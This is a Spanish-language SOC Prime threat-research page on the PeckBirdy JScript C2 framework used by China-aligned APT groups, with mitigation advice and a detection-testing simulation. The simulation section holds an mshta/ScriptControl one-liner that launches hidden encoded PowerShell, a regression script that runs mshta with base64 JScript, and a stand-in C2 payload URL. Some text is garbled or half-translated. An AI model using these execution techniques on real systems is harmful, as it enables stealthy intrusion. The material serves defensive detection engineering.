SOC Prime Bias: Crítico

26 Jan 2026 19:08 UTC

PeckBirdy: Un Marco de Script Versátil para la Explotación de LOLBins Utilizado por Grupos de Amenazas Alineados con China

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
PeckBirdy: Un Marco de Script Versátil para la Explotación de LOLBins Utilizado por Grupos de Amenazas Alineados con China
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

PeckBirdy es un marco de mando y control basado en JScript utilizado por actores APT alineados con China para abusar de binarios de vivirenloslisten y desplegar puertas traseras modulares, incluidas HOLODONUT y MKDOOR. Está diseñado para ejecutarse en múltiples entornos de ejecución: navegadores web, MSHTA, WScript, NodeJS y .NET, y soporta varias opciones de transporte como WebSocket, Flash, Comet y HTTP. Se ha observado el marco en campañas rastreadas como SHADOW-VOID-044 y SHADOW-EARTH-045, que apuntaron a recursos de juego en línea, portales web gubernamentales asiáticos y una organización del sector educativo.

Investigación

Investigadores informaron de inyecciones de scripts maliciosos en sitios de apuestas comprometidos y páginas gubernamentales que descargaron el cargador de PeckBirdy, el cual luego recuperó cargas secundarias, destacándose un exploit de Chrome (CVE-2020-16040) y componentes de puerta trasera adicionales. La actividad se relacionó con dos implantes modulares, HOLODONUT y MKDOOR, y se conectó a grupos e infraestructuras observados previamente. El análisis también catalogó indicadores de compromiso, incluyendo direcciones IP, dominios y detalles operativos como el uso de certificados de firma de código robados.

Mitigación

Bloquear los dominios y direcciones IP maliciosas identificadas, y monitorear el uso atípico de LOLBin y la ejecución de scripts a través de MSHTA, WScript y NodeJS. Detectar la creación del unique_id archivo en %TEMP% y aplicar una validación estricta de certificados de firma de código. La cobertura para cargas útiles conocidas de Cobalt Strike y ensamblajes .NET generados por Donut puede reducir aún más la exposición.

Respuesta

Si se detecta, aísle los sistemas afectados, recopile el script inyectado y cualquier binario de puerta trasera producido, y bloquee la infraestructura de C2 asociada. Realice un triage forense para el movimiento lateral y actualice la lógica de detección para los artefactos de línea de comandos observados y patrones de tráfico de red.

Flujo de Ataque

Ejecución de Simulación

Requisito previo: La Comprobación Pre-vuelo de Telemetría y Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa deben reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa & Comandos de Ataque:
    El adversario desea establecer un canal de control remoto utilizando el marco de script PeckBirdy. Ellos eligen script framework. They choose mshta.exe porque es un binario firmado de Windows que evita la mayoría de las listas blancas de aplicaciones. La carga útil embebe un ActiveX ScriptControl objeto para ejecutar el código JScript obtenido de un servidor C2. Los pasos son:

    1. Descargar la carga maliciosa JScript del C2 (p. ej. http://malicious.c2/payload.js).
    2. Lanzar mshta.exe con un javascript: URL en línea que crea una instancia, carga el script descargado y lo ejecuta. ScriptControl El código JScript establece un oyente TCP invertido, completando el punto de apoyo.
    3. La línea de comando exacta que produce la telemetría es:

    The exact command line that produces the telemetry is:

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    Este comando contiene tanto mshta.exe como la cadena ScriptControl, satisfaciendo la condición Sigma.

  • Script de Prueba de Regresión:
    El siguiente script automatiza la invocación maliciosa de mshta . Se puede ejecutar en una estación de trabajo de prueba bajo una cuenta administrativa.

    #-------------------------------------------------
    # Ejecución de PeckBirdy vía mshta + ScriptControl
    #-------------------------------------------------
    $c2Url   = "http://malicious.c2/payload.js"
    $jsCode  = @"
    var sc = new ActiveXObject('ScriptControl');
    sc.Language = 'JScript';
    // Simple beacon – replace with real payload
    sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");');
    "@
    
    # Codificar la carga de JScript para evitar problemas de salto de línea
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))
    
    $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"
    
    Write-Host "[*] Lanzando mshta malicioso..."
    Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow
  • Comandos de Limpieza:
    Eliminar cualquier artefacto creado por la prueba (por ejemplo, el archivo temporal).

    #-------------------------------------------------
    # Limpieza después de la simulación de PeckBirdy
    #-------------------------------------------------
    Write-Host "[*] Limpiando artefactos de prueba..."
    Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
    # Detener cualquier proceso mshta persistente iniciado por la prueba
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force